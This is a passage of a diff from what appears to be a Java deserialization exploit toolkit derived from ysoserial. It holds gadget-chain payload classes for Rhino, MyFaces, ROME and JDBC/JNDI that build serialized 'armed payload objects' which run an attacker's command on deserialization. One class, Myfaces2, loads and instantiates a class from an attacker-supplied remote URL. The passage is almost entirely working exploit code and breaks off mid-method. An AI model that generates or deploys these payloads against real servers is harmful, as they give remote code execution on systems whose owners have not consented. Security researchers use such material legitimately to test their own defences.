valField.set(badAttributeValueExpException, idScriptableObject); valField.set(badAttributeValueExpException, idScriptableObject);
return badAttributeValueExpException; return badAttributeValueExpException;
} }
} }
@@ -1,105 +1,105 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import org.mozilla.javascript.tools.shell.Environment; import org.mozilla.javascript.tools.shell.Environment;
import java.io.IOException; import java.io.IOException;
import java.io.ObjectOutputStream; import java.io.ObjectOutputStream;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.Hashtable; import java.util.Hashtable;
import java.util.Map; import java.util.Map;
/** /**
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject * Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
* <p> * <p>
* Chain: * Chain:
* <p> * <p>
* NativeJavaObject.readObject() * NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject() * JavaAdapter.readAdapterObject()
* ObjectInputStream.readObject() * ObjectInputStream.readObject()
* ... * ...
* NativeJavaObject.readObject() * NativeJavaObject.readObject()
* JavaAdapter.readAdapterObject() * JavaAdapter.readAdapterObject()
* JavaAdapter.getAdapterClass() * JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames() * JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty() * ScriptableObject.getProperty()
* ScriptableObject.get() * ScriptableObject.get()
* ScriptableObject.getImpl() * ScriptableObject.getImpl()
* Method.invoke() * Method.invoke()
* Context.enter() * Context.enter()
* JavaAdapter.getAdapterClass() * JavaAdapter.getAdapterClass()
* JavaAdapter.getObjectFunctionNames() * JavaAdapter.getObjectFunctionNames()
* ScriptableObject.getProperty() * ScriptableObject.getProperty()
* NativeJavaArray.get() * NativeJavaArray.get()
* NativeJavaObject.get() * NativeJavaObject.get()
* JavaMembers.get() * JavaMembers.get()
* Method.invoke() * Method.invoke()
* TemplatesImpl.getOutputProperties() * TemplatesImpl.getOutputProperties()
* ... * ...
* <p> * <p>
* by @_tint0 * by @_tint0
*/ */
@SuppressWarnings({"unchecked","unused"}) @SuppressWarnings({"unchecked","unused"})
@Dependencies({"rhino:js:1.7R2"}) @Dependencies({"rhino:js:1.7R2"})
@Authors({Authors.TINT0}) @Authors({Authors.TINT0})
public class MozillaRhino2 implements ObjectPayload<Object> { public class MozillaRhino2 implements ObjectPayload<Object> {
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException { public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
out.writeObject("java.lang.Object"); out.writeObject("java.lang.Object");
out.writeObject(new String[0]); out.writeObject(new String[0]);
out.writeObject(javaObject); out.writeObject(javaObject);
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
ScriptableObject dummyScope = new Environment(); ScriptableObject dummyScope = new Environment();
Map<Object, Object> associatedValues = new Hashtable<>(); Map<Object, Object> associatedValues = new Hashtable<>();
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class)); associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues); Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
Object initContextMemberBox = Reflections.createWithConstructor( Object initContextMemberBox = Reflections.createWithConstructor(
Class.forName("org.mozilla.javascript.MemberBox"), Class.forName("org.mozilla.javascript.MemberBox"),
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"), (Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
new Class[]{Method.class}, new Class[]{Method.class},
new Object[]{Context.class.getMethod("enter")}); new Object[]{Context.class.getMethod("enter")});
ScriptableObject initContextScriptableObject = new Environment(); ScriptableObject initContextScriptableObject = new Environment();
Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class); Method makeSlot = ScriptableObject.class.getDeclaredMethod("accessSlot", String.class, int.class, int.class);
Reflections.setAccessible(makeSlot); Reflections.setAccessible(makeSlot);
Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4); Object slot = makeSlot.invoke(initContextScriptableObject, "QI4L", 0, 4);
Reflections.setFieldValue(slot, "getter", initContextMemberBox); Reflections.setFieldValue(slot, "getter", initContextMemberBox);
NativeJavaObject initContextNativeJavaObject = new NativeJavaObject(); NativeJavaObject initContextNativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope); Reflections.setFieldValue(initContextNativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true); Reflections.setFieldValue(initContextNativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject", Reflections.setFieldValue(initContextNativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject); Reflections.setFieldValue(initContextNativeJavaObject, "javaObject", initContextScriptableObject);
ScriptableObject scriptableObject = new Environment(); ScriptableObject scriptableObject = new Environment();
scriptableObject.setParentScope(initContextNativeJavaObject); scriptableObject.setParentScope(initContextNativeJavaObject);
makeSlot.invoke(scriptableObject, "outputProperties", 0, 2); makeSlot.invoke(scriptableObject, "outputProperties", 0, 2);
NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class); NativeJavaArray nativeJavaArray = Reflections.createWithoutConstructor(NativeJavaArray.class);
Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope); Reflections.setFieldValue(nativeJavaArray, "parent", dummyScope);
final Object tpl; final Object tpl;
tpl = Gadgets.createTemplatesImpl(command); tpl = Gadgets.createTemplatesImpl(command);
Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl); Reflections.setFieldValue(nativeJavaArray, "javaObject", tpl);
nativeJavaArray.setPrototype(scriptableObject); nativeJavaArray.setPrototype(scriptableObject);
Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject); Reflections.setFieldValue(nativeJavaArray, "prototype", scriptableObject);
NativeJavaObject nativeJavaObject = new NativeJavaObject(); NativeJavaObject nativeJavaObject = new NativeJavaObject();
Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope); Reflections.setFieldValue(nativeJavaObject, "parent", dummyScope);
Reflections.setFieldValue(nativeJavaObject, "isAdapter", true); Reflections.setFieldValue(nativeJavaObject, "isAdapter", true);
Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject", Reflections.setFieldValue(nativeJavaObject, "adapter_writeAdapterObject",
this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class)); this.getClass().getMethod("customWriteAdapterObject", Object.class, ObjectOutputStream.class));
Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray); Reflections.setFieldValue(nativeJavaObject, "javaObject", nativeJavaArray);
return nativeJavaObject; return nativeJavaObject;
} }
} }
@@ -1,84 +1,84 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import org.apache.myfaces.context.servlet.FacesContextImpl; import org.apache.myfaces.context.servlet.FacesContextImpl;
import org.apache.myfaces.context.servlet.FacesContextImplBase; import org.apache.myfaces.context.servlet.FacesContextImplBase;
import org.apache.myfaces.el.CompositeELResolver; import org.apache.myfaces.el.CompositeELResolver;
import org.apache.myfaces.el.unified.FacesELContext; import org.apache.myfaces.el.unified.FacesELContext;
import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression; import org.apache.myfaces.view.facelets.el.ValueExpressionMethodExpression;
import javax.el.ELContext; import javax.el.ELContext;
import javax.el.ExpressionFactory; import javax.el.ExpressionFactory;
import javax.el.ValueExpression; import javax.el.ValueExpression;
import javax.servlet.ServletResponse; import javax.servlet.ServletResponse;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/** /**
* ValueExpressionImpl.getValue(ELContext) * ValueExpressionImpl.getValue(ELContext)
* ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext)
* ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.getMethodExpression()
* ValueExpressionMethodExpression.hashCode() * ValueExpressionMethodExpression.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream) * HashMap<K,V>.readObject(ObjectInputStream)
* <p> * <p>
* Arguments: * Arguments:
* - an EL expression to execute * - an EL expression to execute
* <p> * <p>
* Requires: * Requires:
* - MyFaces * - MyFaces
* - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies @Dependencies
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies { public class Myfaces1 implements ObjectPayload<Object>, DynamicDependencies {
public static String[] getDependencies() { public static String[] getDependencies() {
if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) { if (System.getProperty("el") == null || "apache".equals(System.getProperty("el"))) {
return new String[]{ return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"org.mortbay.jasper:apache-el:8.0.27", "org.mortbay.jasper:apache-el:8.0.27",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext // deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
}; };
} else if ("juel".equals(System.getProperty("el"))) { } else if ("juel".equals(System.getProperty("el"))) {
return new String[]{ return new String[]{
"org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9", "org.apache.myfaces.core:myfaces-impl:2.2.9", "org.apache.myfaces.core:myfaces-api:2.2.9",
"de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7", "de.odysseus.juel:juel-impl:2.2.7", "de.odysseus.juel:juel-api:2.2.7",
"javax.servlet:javax.servlet-api:3.1.0", "javax.servlet:javax.servlet-api:3.1.0",
// deps for mocking the FacesContext // deps for mocking the FacesContext
"org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1" "org.mockito:mockito-core:1.10.19", "org.hamcrest:hamcrest-core:1.1", "org.objenesis:objenesis:2.1"
}; };
} }
throw new IllegalArgumentException("Invalid el type " + System.getProperty("el")); throw new IllegalArgumentException("Invalid el type " + System.getProperty("el"));
} }
public static Object makeExpressionPayload(String expr) throws Exception { public static Object makeExpressionPayload(String expr) throws Exception {
FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null); FacesContextImpl fc = new FacesContextImpl(null, null, (ServletResponse) null);
ELContext elContext = new FacesELContext(new CompositeELResolver(), fc); ELContext elContext = new FacesELContext(new CompositeELResolver(), fc);
Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext); Reflections.getField(FacesContextImplBase.class, "_elContext").set(fc, elContext);
ExpressionFactory expressionFactory = ExpressionFactory.newInstance(); ExpressionFactory expressionFactory = ExpressionFactory.newInstance();
ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class); ValueExpression ve1 = expressionFactory.createValueExpression(elContext, expr, Object.class);
ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1); ValueExpressionMethodExpression e = new ValueExpressionMethodExpression(ve1);
ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class); ValueExpression ve2 = expressionFactory.createValueExpression(elContext, "${true}", Object.class);
ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2); ValueExpressionMethodExpression e2 = new ValueExpressionMethodExpression(ve2);
return makeMap(e2, e); return makeMap(e2, e);
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
return makeExpressionPayload(command); return makeExpressionPayload(command);
} }
} }
@@ -1,29 +1,29 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.DynamicDependencies; import com.qi4l.JYso.gadgets.utils.DynamicDependencies;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
int sep = command.lastIndexOf(':'); int sep = command.lastIndexOf(':');
if (sep < 0) { if (sep < 0) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>"); throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
} }
String url = command.substring(0, sep); String url = command.substring(0, sep);
String className = command.substring(sep + 1); String className = command.substring(sep + 1);
// based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/ // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/
StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}"); StringBuilder expr = new StringBuilder("${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}");
// if we add fewer than the actual classloaders we end up with a null entry // if we add fewer than the actual classloaders we end up with a null entry
for (int i = 0; i < 100; i++) { for (int i = 0; i < 100; i++) {
expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}"); expr.append("${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('").append(url).append("').toURL())}");
} }
expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}"); expr.append("${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')" + ".toArray(request.getClass().getClassLoader().getURLs())).loadClass('").append(className).append("').newInstance()}");
return Myfaces1.makeExpressionPayload(expr.toString()); return Myfaces1.makeExpressionPayload(expr.toString());
} }
} }
@@ -1,77 +1,77 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.LdapServer; import com.qi4l.JYso.LdapServer;
import org.reflections.Reflections; import org.reflections.Reflections;
import java.lang.reflect.Modifier; import java.lang.reflect.Modifier;
import java.util.Random; import java.util.Random;
import java.util.Set; import java.util.Set;
import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap; import static com.qi4l.JYso.Starter.caseInsensitiveObjectPayloadMap;
public interface ObjectPayload<T> { public interface ObjectPayload<T> {
/* /*
* return armed payload object to be serialized that will execute specified * return armed payload object to be serialized that will execute specified
* command on deserialization * command on deserialization
*/ */
T getObject(String command) throws Exception; T getObject(String command) throws Exception;
class Utils { class Utils {
// get payload classes by classpath scanning // get payload classes by classpath scanning
public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() { public static Set<Class<? extends ObjectPayload<?>>> getPayloadClasses() {
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
final Set<Class<? extends ObjectPayload<?>>> payloadTypes = final Set<Class<? extends ObjectPayload<?>>> payloadTypes =
(Set<Class<? extends ObjectPayload<?>>>) (Set<?>) (Set<Class<? extends ObjectPayload<?>>>) (Set<?>)
reflections.getSubTypesOf(ObjectPayload.class); reflections.getSubTypesOf(ObjectPayload.class);
payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers())); payloadTypes.removeIf(pc -> pc.isInterface() || Modifier.isAbstract(pc.getModifiers()));
return payloadTypes; return payloadTypes;
} }
@SuppressWarnings("unchecked") @SuppressWarnings("unchecked")
public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) { public static Class<? extends ObjectPayload<?>> getPayloadClass(final String className) {
Class<? extends ObjectPayload<?>> clazz = null; Class<? extends ObjectPayload<?>> clazz = null;
try { try {
clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className); clazz = (Class<? extends ObjectPayload<?>>) Class.forName(className);
} catch (Exception ignored) { } catch (Exception ignored) {
} }
if (clazz == null) { if (clazz == null) {
try { try {
return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className); return (Class<? extends ObjectPayload<Object>>) Class.forName(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} catch (NoClassDefFoundError | Exception e) { } catch (NoClassDefFoundError | Exception e) {
clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className); clazz = caseInsensitiveObjectPayloadMap.get(LdapServer.class.getPackage().getName() + ".gadgets." + className);
} }
} }
if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) { if (clazz != null && !ObjectPayload.class.isAssignableFrom(clazz)) {
clazz = null; clazz = null;
} }
return clazz; return clazz;
} }
public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception { public static void releasePayload(ObjectPayload<?> payload, Object object) throws Exception {
if (payload instanceof ReleaseableObjectPayload) { if (payload instanceof ReleaseableObjectPayload) {
((ReleaseableObjectPayload<?>) payload).release(object); ((ReleaseableObjectPayload<?>) payload).release(object);
} }
} }
//生成随机字符 //生成随机字符
public static String generateRandomString(int length) { public static String generateRandomString(int length) {
String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; String characters = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
StringBuilder sb = new StringBuilder(); StringBuilder sb = new StringBuilder();
Random random = new Random(); Random random = new Random();
for (int i = 0; i < length; i++) { for (int i = 0; i < length; i++) {
int index = random.nextInt(characters.length()); int index = random.nextInt(characters.length());
char randomChar = characters.charAt(index); char randomChar = characters.charAt(index);
sb.append(randomChar); sb.append(randomChar);
} }
return sb.toString(); return sb.toString();
} }
} }
} }
+42 -42
View File
@@ -1,42 +1,42 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
/** /**
* TemplatesImpl.getOutputProperties() * TemplatesImpl.getOutputProperties()
* NativeMethodAccessorImpl.invoke0(Method, Object, Object[]) * NativeMethodAccessorImpl.invoke0(Method, Object, Object[])
* NativeMethodAccessorImpl.invoke(Object, Object[]) * NativeMethodAccessorImpl.invoke(Object, Object[])
* DelegatingMethodAccessorImpl.invoke(Object, Object[]) * DelegatingMethodAccessorImpl.invoke(Object, Object[])
* Method.invoke(Object, Object...) * Method.invoke(Object, Object...)
* ToStringBean.toString(String) * ToStringBean.toString(String)
* ToStringBean.toString() * ToStringBean.toString()
* ObjectBean.toString() * ObjectBean.toString()
* EqualsBean.beanHashCode() * EqualsBean.beanHashCode()
* ObjectBean.hashCode() * ObjectBean.hashCode()
* HashMap<K,V>.hash(Object) * HashMap<K,V>.hash(Object)
* HashMap<K,V>.readObject(ObjectInputStream) * HashMap<K,V>.readObject(ObjectInputStream)
* *
* @author mbechler * @author mbechler
*/ */
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies("rome:rome:1.0") @Dependencies("rome:rome:1.0")
@Authors({Authors.MBECHLER}) @Authors({Authors.MBECHLER})
public class ROME implements ObjectPayload<Object> { public class ROME implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object templates; final Object templates;
templates = Gadgets.createTemplatesImpl(command); templates = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, templates); ObjectBean delegate = new ObjectBean(Templates.class, templates);
ObjectBean root = new ObjectBean(ObjectBean.class, delegate); ObjectBean root = new ObjectBean(ObjectBean.class, delegate);
return makeMap(root, root); return makeMap(root, root);
} }
} }
+37 -37
View File
@@ -1,37 +1,37 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.EqualsBean;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
import java.util.Map; import java.util.Map;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
import static com.qi4l.JYso.gadgets.utils.Utils.createMap; import static com.qi4l.JYso.gadgets.utils.Utils.createMap;
@SuppressWarnings({"rawtypes", "unchecked","unused"}) @SuppressWarnings({"rawtypes", "unchecked","unused"})
@Dependencies("rome:rome:1.0") @Dependencies("rome:rome:1.0")
public class ROME2 implements ObjectPayload<Object> { public class ROME2 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
final Object o; final Object o;
o = Gadgets.createTemplatesImpl(command); o = Gadgets.createTemplatesImpl(command);
EqualsBean bean = new EqualsBean(String.class, ""); EqualsBean bean = new EqualsBean(String.class, "");
Map map1 = createMap("aa", o); Map map1 = createMap("aa", o);
map1.put("bB", bean); map1.put("bB", bean);
Map map2 = createMap("aa", bean); Map map2 = createMap("aa", bean);
map2.put("bB", o); map2.put("bB", o);
Reflections.setFieldValue(bean, "_beanClass", Templates.class); Reflections.setFieldValue(bean, "_beanClass", Templates.class);
Reflections.setFieldValue(bean, "_obj", o); Reflections.setFieldValue(bean, "_obj", o);
return makeMap(map1, map2); return makeMap(map1, map2);
} }
} }
+24 -24
View File
@@ -1,24 +1,24 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Authors; import com.qi4l.JYso.gadgets.annotation.Authors;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Gadgets; import com.qi4l.JYso.gadgets.utils.Gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.sun.syndication.feed.impl.ObjectBean; import com.sun.syndication.feed.impl.ObjectBean;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates; import javax.xml.transform.Templates;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Authors({"Firebasky"}) @Authors({"Firebasky"})
@Dependencies("rome:rome:1.0") @Dependencies("rome:rome:1.0")
public class ROME3 implements ObjectPayload<Object> { public class ROME3 implements ObjectPayload<Object> {
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
Object o = Gadgets.createTemplatesImpl(command); Object o = Gadgets.createTemplatesImpl(command);
ObjectBean delegate = new ObjectBean(Templates.class, o); ObjectBean delegate = new ObjectBean(Templates.class, o);
BadAttributeValueExpException b = new BadAttributeValueExpException(""); BadAttributeValueExpException b = new BadAttributeValueExpException("");
Reflections.setFieldValue(b, "val", delegate); Reflections.setFieldValue(b, "val", delegate);
return b; return b;
} }
} }
@@ -1,37 +1,37 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean; import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl; import com.sun.rowset.JdbcRowSetImpl;
import static com.qi4l.JYso.gadgets.utils.Utils.makeMap; import static com.qi4l.JYso.gadgets.utils.Utils.makeMap;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
public class ROMEJDBC implements ObjectPayload<Object> { public class ROMEJDBC implements ObjectPayload<Object> {
// Assuming JDKUtil class with makeJNDIRowSet method // Assuming JDKUtil class with makeJNDIRowSet method
public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception { public static JdbcRowSetImpl makeJNDIRowSet(String jndiUrl) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl(); JdbcRowSetImpl rs = new JdbcRowSetImpl();
rs.setDataSourceName(jndiUrl); rs.setDataSourceName(jndiUrl);
rs.setMatchColumn("foo"); rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null); Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
return rs; return rs;
} }
@Override @Override
public Object getObject(String command) throws Exception { public Object getObject(String command) throws Exception {
// Assuming makeJNDIRowSet is a static method in JDKUtil // Assuming makeJNDIRowSet is a static method in JDKUtil
return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command)); return makeROMEAllPropertyTrigger(JdbcRowSetImpl.class, makeJNDIRowSet(command));
} }
public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception { public <T> Object makeROMEAllPropertyTrigger(Class<T> type, T obj) throws Exception {
ToStringBean item = new ToStringBean(type, obj); ToStringBean item = new ToStringBean(type, obj);
EqualsBean root = new EqualsBean(ToStringBean.class, item); EqualsBean root = new EqualsBean(ToStringBean.class, item);
return makeHashCodeTrigger(root); return makeHashCodeTrigger(root);
} }
public Object makeHashCodeTrigger(Object o1) throws Exception { public Object makeHashCodeTrigger(Object o1) throws Exception {
return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object return makeMap(o1, o1); // Assuming JDKUtil.makeMap returns a Map or similar object
} }
} }
@@ -1,6 +1,6 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> { public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
void release(Object obj) throws Exception; void release(Object obj) throws Exception;
} }
@@ -1,57 +1,57 @@
package com.qi4l.JYso.gadgets; package com.qi4l.JYso.gadgets;
import com.qi4l.JYso.gadgets.annotation.Dependencies; import com.qi4l.JYso.gadgets.annotation.Dependencies;
import com.qi4l.JYso.gadgets.utils.Reflections; import com.qi4l.JYso.gadgets.utils.Reflections;
import javax.imageio.ImageIO; import javax.imageio.ImageIO;
import javax.media.jai.remote.SerializableRenderedImage; import javax.media.jai.remote.SerializableRenderedImage;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.net.InetAddress; import java.net.InetAddress;
@SuppressWarnings({"unused"}) @SuppressWarnings({"unused"})
@Dependencies({"javax.media:jai-codec-1.1.3"}) @Dependencies({"javax.media:jai-codec-1.1.3"})
public class RenderedImage implements ObjectPayload<Object> { public class RenderedImage implements ObjectPayload<Object> {
public static byte hexToByte(String inHex) { public static byte hexToByte(String inHex) {
return (byte) Integer.parseInt(inHex, 16); return (byte) Integer.parseInt(inHex, 16);
} }
public static byte[] hexToByteArray(String inHex) { public static byte[] hexToByteArray(String inHex) {
int hexlen = inHex.length(); int hexlen = inHex.length();
byte[] result; byte[] result;
if (hexlen % 2 == 1) { if (hexlen % 2 == 1) {
hexlen++; hexlen++;
result = new byte[(hexlen / 2)]; result = new byte[(hexlen / 2)];
inHex = "0" + inHex; inHex = "0" + inHex;
} else { } else {
result = new byte[(hexlen / 2)]; result = new byte[(hexlen / 2)];
} }
int j = 0; int j = 0;
for (int i = 0; i < hexlen; i += 2) { for (int i = 0; i < hexlen; i += 2) {
